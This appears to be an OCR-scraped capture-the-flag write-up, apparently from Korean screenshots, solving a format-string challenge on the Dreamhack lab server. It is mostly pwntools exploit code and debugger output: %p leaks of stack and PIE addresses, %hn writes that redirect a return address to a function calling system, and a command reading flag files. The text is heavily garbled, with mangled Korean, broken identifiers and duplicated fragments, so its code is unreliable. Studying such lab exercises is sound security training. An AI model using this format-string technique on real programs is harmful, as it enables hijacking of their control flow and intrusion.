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Ox557337ab32cf
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Ox5573 Ox37ab Ox32cf




3. 2 =o}

shell_low = shell_addr & 0xffff
shell_middle = (shell_addr >> 16) & Oxffff
shell_high = (shell_addr >> 32) & 0xffff

low = shell_low

if shell_middle > shell low:
middle = shell_middle - shell low
else:
middle = 0x10000 + shell _middle - shell_low

if shell_high > shell_middle:
high = shell_high - shell_middle
else:
high = 0x10000 + shell_high - shell_middle

“YPYS/S/SS/N”
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3. 2l Eol

shell_low = shell_addr & 0xffff
shell_middle = (shell_addr >> 16) & Oxffff
shell_high = (shell_addr >> 32) & 0xffff

low = shell_low

if shell _middle > shell low:
middle = shell_middle - shell low

else:
middle = 0x10000 + shell_middle - shell_low eroll 291 :’*°'E Lol Kloll &= HioIE UolHCt

il
od
10

if shell_high > shell_middle:
high = shell_high - shell_middle
else:
high = 0x10000 + shell_high - shell_middle



3. 2 =o}

o

S
S
S

nell_high: 0x55f9
nell_middle: 0x2f9e

nell low: Ox72cf

[*] Switching to interactive mode

S

“YoP 7S /SYSS/N”

pwndbg> p shell

S1 = {<text variable, no debug info>}

<shell>




3. 2l Eol

Offset

“YoP 7S /SYSS/N”
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3. 2HI Eol

Offset

phllllp@DESKTOP-3LHD5Q!:~S ./output.elf

[*] Welcome to FSAEG!
[*] Input : AAAAAAAA %p %p %p %p %p %p Y%p Y%p %p %p %p %p

[*] Your input : AAAAAAAA 0x7ffe94d69e60 (nil) Ox7f22adb63887 0x11
(nil) (nil) (nil) (nil) (nil) (nil) Ox1 0x4141414141414141




“YoP’SV/SY/SS/N”

3. 2HI Eol

Offset

phllllp@DESKTOP-3LHD5Q!:~S ./output.elf

[*] Welcome to FSAEG!
[*] Input : AAAAAAAA %p %p %p %p %p %p Y%p Y%p %p %p %p %p

[*] Your input : AAAAAAAA 0x7ffe94d69e60 (nil) Ox7f22adb63887 0x11
GINEGINEGINEGIDEGINEGID RSS!




“YoP’SV/SY/SS/N”

3. 2HI Eol

Offset =12

phllllp@DESKTOP-3LHD5Q!:~S ./output.elf

[*] Welcome to FSAEG!
[*] Input : AAAAAAAA %p %p %p %p %p %p Y%p Y%p %p %p %p %p

[*] Your input : AAAAAAAA 0x7ffe94d69e60 (nil) Ox7f22adb63887 0x11
GINEGINEGINEGIDEGINEGID RSS!
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3. 2l Eol

payload = b"

payload += f'%{low}c'.encode()
payload += f'%17Shn'.encode()
payload += f'%{middle}c'.encode()
payload += f'%18Shn'.encode()
payload += f'%({high}c'.encode()
payload += f'%19Shn'.encode()
payload += b'A" * (8 - (len payload % 16))
orint(len(payload))

payload += p64(ret)

payload += p64(ret + 2)

payload += p64(ret + 4)

p.sendlineafter(b": ", payload)



“YoP 7S /SYSS/N”

3. 2l Eol

payload = b" payload len: 40

payload += f'%{low}c'.encode()
payload += f'%17Shn'.encode()
payload += f'%{middle}c'.encode()
payload += f'%18Shn'.encode()
payload += f'%({high}c'.encode()
payload += f'%19Shn'.encode()
payload += b'A" * (8 - (len payload % 16))
orint(len(payload))

payload += p64(ret)

payload += p64(ret + 2)

payload += p64(ret + 4)

p.sendlineafter(b": ", payload)



3. =M

pay
pay
pay
pay
pay
pay
pay
pay

load =b"

load += f'%{low}c'.encode()
load +=f'%17Shn'.encode()
load += '%{middle}c'.encode()
load += '%18Shn'.encode()
load += '%{high}c'.encode()
load +={'%19Shn'.encode()

load +=b'A" * (8 - (len payload % 16))

orint(len(payload))

pay
pay
pay

load += p64(ret)
load += p64(ret + 2)

load += p64(ret + 4)

p.sendlineafter(b": ", payload)

“YPYS/S/SS/N”

payload len: 40
offset + (40/8)
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pay
pay
pay
pay
pay
pay
pay
pay

load =b"

load += f'%{low}c'.encode()
load +=f'%17Shn'.encode()
load += '%{middle}c'.encode()
load += '%18Shn'.encode()
load += '%{high}c'.encode()
load +={'%19Shn'.encode()

load +=b'A" * (8 - (len payload % 16))

orint(len(payload))

pay
pay
pay

load += p64(ret)
load += p64(ret + 2)

load += p64(ret + 4)

p.sendlineafter(b": ", payload)

“YPYS/S/SS/N”

payload len: 40
offset + (40/8)

=17



“YoP’SV/SY/SS/N”

3. 2HI Eol

\X87%19  Shnx'/5\xfc\x7fgood

[“] Got EOF while reading in interactive

S

XX



“YPYS/S/SS/N”

3. 2l Eol

\X87%19  Shnx'/5\xfc\x7fgood

Sls
] Process './Joutput.elf' stopped with exit code -11 (SIGSEGV) (pid 72163)

-

] Got EOF while sending in interactive

*] Got EOF while reading in interactive
l

oo



“YPYS/S/SS/N”

3. 2l Eol

\X87%19  Shnx'/5\xfc\x7fgood

S s

[ %

*] Got EOF while reading in interactive
l

"] Process './output.elf' stopped with exit code -11 (pid 72163)

] Got EOF while sending in interactive

oo



“YoP 7S /SYSS/N”

3. 2l Eol

= Ox7fe718a34973 <do_system+115> movaps xmmword ptr [rsp], xmm1
Ox7ffe7849e838




“YoP 7S /SYSS/N”

3. 2l Eol

= Ox7fe718a34973 <do_system+115> movaps xmmword ptr [rsp], xmm1
Ox7ffe7849e838




.text:00000000000012CF ;

.text:00000000000012CF
.text:00000000000012CF

public shell
shell proc near

.text:00000000000012CF ; __unwind {

.text:00000000000012CF
.text:00000000000012D3
.text:00000000000012D4
.text:00000000000012D7
.text:00000000000012DE
.text:00000000000012E1
.text:00000000000012E6
.text:00000000000012ED
.text:00000000000012F0
.text:00000000000012F5
.text:00000000000012F6
.text:00000000000012F7

endbr64

push rbp

mov rbp, rsp
lea rax, aGood
mov rdi, rax
call _puts

lea rax, command
mov rdi, rax
call _system
nop

pop rbp

retn

.text:00000000000012F7 ; } // starts at 12CF

.text:00000000000012F7 shell

endp

5 S

; command

“YoPYoS/S/S SN



.text:00000000000012CF ;

.text:00000000000012CF
.text:00000000000012CF

public shell
shell proc near

.text:00000000000012CF ; __unwind {

.text:00000000000012CF
.text:00000000000012D3
.text:00000000000012D4
.text:00000000000012D7
.text:00000000000012DE
.text:00000000000012E1
.text:00000000000012E6
.text:00000000000012ED
.text:00000000000012F0
.text:00000000000012F5
.text:00000000000012F6
.text:00000000000012F7

endbr64

push rbp

mov rbp, rsp
lea rax, aGood
mov rdi, rax
call _puts

lea rax, command
mov rdi, rax
call _system
nop

pop rbp

retn

.text:00000000000012F7 ; } // starts at 12CF

.text:00000000000012F7 shell

endp

5 S

; command

“YoPYoS/S/S SN



3. 2 =o}

“YoP /oSS oSS N

pwndbg> p/x 0x12d4 - 0x12cf




“YoP /oSS oSS N

3. 2 =o}

pwndbg> p/x 0x12d4 - 0x12cf
S1=0x5

XX
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3. 2l Eol

p.recvuntil(b'0x5').decode()
pie_leak = int('0x55" + p.recvuntil(' ')[0:11].decode(), 16)

pie_base = pie_leak - 0x2f8 - 0x1000

shell_addr = pie_base + shell
orint(hex(shell_addr))

p.interactive()



“YoP 7S /SYSS/N”

3. 2l Eol

p.recvuntil(b'0x5').decode()
pie_leak = int('0x55" + p.recvuntil(' ')[0:11].decode(), 16)

pie_base = pie_leak - 0x2f8 - 0x1000

shell_addr = pie_base + shell + 0x5
orint(hex(shell_addr))

p.interactive()



“YoP /oSS oSS N

\X87%19  Shnx'/5\xfc\x7fgood



“YPYS/S/SS/N”

3. 2l Eol

\X87%19  Shnx'/5\xfc\x7fgood

S s

README.txt output.elf output.elf.idl output.elf.nam
expolit.py ouput.elf.id0 output.elf.id2 output.elf.til

o
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=X 2F

Description

20 AE|O|X|2 0|0 JUSLICt.
28 & timeout2 10X lL|C}

CHS AH|O|X|Z EHO{7L7| IS A=, /tmp/subflag_*.txtdl =X{SH= AEH|O|X| E flag
B o= NAZ S0t} (exit) QIS SHAIH EIL|LCF

OrX[2F AH|O|XIE 455, 2 #= Sef 27t = LT

—_ L =

#&= Selid= DH{...}, 2H|0|X| & Zef1= SUBFLAG{...}2[ &%

o =X 2tH 2 ubuntu:22.04

(ubuntu:22.04@sha256:817cfe4672284dcbfee885b1a66094fd907630d610cab329114d
036716be49ba) &L|LC}.




“YoPYoS/S/S SN

=X 2F

Description

20 AE|O|X|2 O|R0{ A JUSLICt.
28 & timeout2 10X lL|C}

CHS AH|O|X|Z EHO{7L7| IS A=, /tmp/subflag_*.txtdl =X{SH= AEH|O|X| E flag
B o= NAZ S0t} (exit) QIS SHAIH EIL|LCF

OrX[2F AH|O|XIE 455, 2 #= Sef 27t = LT

—_ L =

#&= Selid= DH{...}, 2H|0|X| & Zef1= SUBFLAG{...}2[ &%

o =X 2tH 2 ubuntu:22.04

(ubuntu:22.04@sha256:817cfe4672284dcbfee885b1a66094fd907630d610cab329114d
036716be49ba) &L|LC}.




“YoP 7S /SYSS/N”

3. 2l Eol

ph1lllp@DESKTOP-3LHD5QI:~S echo "...AAAAAAA=" | base64 -d > output2.elf




“YoP’SV/SY/SS/N”

3. 2HI Eol

S
5

[“] Got EOF while reading in interactive

S

XX
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3. 2l Eol

from pwn import *

p = process('./output2.elf')
e = ELF('./output2.elf')

shell = e.sym/|'shell’]
payload = '"%p ' * 33 # len = 99

pause()
p.sendafter(b": ", payload)

oo p.interactive()
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3. 2l Eol

[*] Switching to interactive mode

S

[*] Your input :

Ox7ffc7b6de540 (nil) Ox7fc47b415887 0x11 (nil) (nil) (nil) (nil) (nil) (nil) (nil)
(nil) (nil) (nil) Ox1 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x207025 0xb338519acb79ee00 0x1 Ox7fc47b32ad90

(nil) 0x55719cf502f8
3




“YoP/oS /oSS S/N”

3. 2HI Eol

[*] Switching to interactive mode
S
[*] Your input :

(nil) Ox7fc47b415887 0x11 (nil) (nil) (nil) (nil) (nil) (nil) (nil)
(nil) (nil) (nil) Ox1 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x207025 0xb338519acb79ee00 0x1 Ox7fc47b32ad90
(nil)
S

Q{'}O 1. Ox7ffc7b6de540  33. 0x55719cf502f8
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3. 2l Eol

[*] Switching to interactive mode
S
[*] Your input :

(nil) Ox7fc47b415887 0x11 (nil) (nil) (nil) (nil) (nil) (nil) (nil)
(nil) (nil) (nil) Ox1 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x207025 0xb338519acb79ee00 0x1 Ox7fc47b32ad90
(nil)
S

Q‘O 1. Ox7ffc7b6de540  33. 0x55719¢f502f8
3 (1) CLI)



PIE base:
25, 27, 29, 31, 33, 37

“YPYS/S/SS/N”
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for i in range(20):
payload = (b"%p." * 19) + b' %33Sp' + b' %29Sp' + b' %31Sp' b' %27Sp' + b' %255p' + b' %37Sp'

p.recvuntil(b": ')

ret_addr = int(p.recvuntil(b',’)[:-1], 16)
ret = ret_addr + 0x2118

print(hex(ret))

p.sendafter(b™: ", payload)

p.interactive()

ol

Q.
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=X 2F

Description

20 AE|O|X|2 0|0 JUSLICt.
28 & timeout2 10X lL|C}

CHS AH|O|X|Z EHO{7L7| IS A=, /tmp/subflag_*.txtdl =X{SH= AEH|O|X| E flag
B o= NAZ S0t} (exit) QIS SHAIH EIL|LCF

OrX[2F AH|O|XIE 455, 2 #= Sef 27t = LT

—_ L =

#&= Selid= DH{...}, 2H|0|X| & Zef1= SUBFLAG{...}2[ &%

o =X 2tH 2 ubuntu:22.04

(ubuntu:22.04@sha256:817cfe4672284dcbfee885b1a66094fd907630d610cab329114d
036716be49ba) &L|LC}.
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=X 2F

Description

20 AH|O|X[= O|F 01N ASLICE,

28 & timeout2 10X QIL|Ct,

Ct2 AH[O|X|Z2 EO{717] fIsH A=, /tmp/subflag_*.txt0l] Z=X|5}
B T2 MAZ S0t (exit) QIS SHA|H EIL|LCT

OrX[2F AE|O|XIE d55tH, 2Ae #= Sef 27t == LT

—_ L =

#H& Sd| 1= DH{...}, 2H[O|X| &8 =2 1= SUBFLAG{...}o| oS %

X

o =X 2tH 2 ubuntu:22.04

(ubuntu:22.04@sha256:817cfe4672284dcbfee885b1a66094fd907630d610cab329114d
036716be49ba) &L|LC}.
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3. 2l Eol

n.sendlineafter(b": ", payload)
n.sendline(b'cat /tmp/subflag_*.txt')
n.recvuntil(b'good\n')

sub_flag = p.recvuntil(b'}')[1:]
n.sendline("exit")

orint("sub flag :", sub_flag)
n.sendlineafter(b"flag : ", sub_flag)

p.interactive()

ol

Q.



“YPYS/S/SS/N”

MMIZL:

from pwn import *
p = remote('host3.dreamhack.games’, 10242)
#p = process('./output.elf’)
e = ELF('./output.elf')
#context.log_level = 'debug’
shell = e.sym['shell']
p.sendline(b'y’)
fori in range(20):
payload = b"AA%p," + (b"%p." * 19) + b' %33$p' + b’ %29Sp' + b’ %31Sp' b' %27$p' + b' %255p' + b’ %375p'
p.sendlineafter(b": ", payload) #0x2118
print(len(payload))
p.recvuntil(b' AA")
ret_addr = int(p.recvuntil(b',")[:-1], 16)
ret = ret_addr + 0x2118
print(hex(ret))
offset_len = p.recvuntil(b'4141').decode()
dot = offset_len.count('.")
offset = dot + 7
print(offset)
pie_where = offset + 12
print(pie-where)
p.recvuntil(b'0x5').decode()
pie_leak = int('0x55'+p.recvuntil(’ ')[0:11].decode(), 16)
pie_base = pie_leak — 0x2f8 - 0x1000
shell_addr = pie_base + shell +5
print(hex(shell_addr))
shell_low = shell_addr & 0xffff
shell_middle = (shell_addr »> 16) & Oxffff
shell_high = (shell_addr >> 32) & Oxffff
low = shell_low
if shell-middle > shell-low:
middle = shell_middle - shell_low
else:
middle = 0x10000 + shell-middle - shell-low
if shell-high > shell-middle:
high = shell_high - shell_middle

else:
high = 0x10000 + shell_high - shell_middle
payload =b""'

payload += f'%{low}c'.encode()

payload += f'%{offset}$Shn'.encode()

payload += f'%{middle}c’.encode()

payload += f'%{offset+1}$hn'.encode()

payload += f'%{high}c'.encode()

payload += f'%{offset+2}Shn'.encode()

payload += b'A' * (8 - (len payload % 16))

payload += p64(ret)

payload += p64(ret + 2)

payload += p64(ret + 4)

p.sendlineafter(b": ", payload)

p.sendline(b'cat /tmp/subflag_*.txt')

p.recvuntil(b'goodWn')

sub_flag = p.recvuntil(b'}')[1:]

p.sendline("exit")

print("sub flag :", b'S'+sub_flag)

p.sendlineafter(b"flag : ", b'S'+sub_flag)
p.interactive()
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sub flag : b'SUBFLAG{

o8

Ox7ffe080679b8

25

37

0x555eafbabb2d4

sub flag : b'SUBFLAG{

o8

Ox7ffc7cc996e8

19

31

0x5563b2e6d52d4

sub flag : b'SUBFLAG{

"] Switching to interactive mode
*] Congrats!
"] Going next level...

"] You solved every challenge! :

DH{

[*] Got EOF while reading in interactive

S
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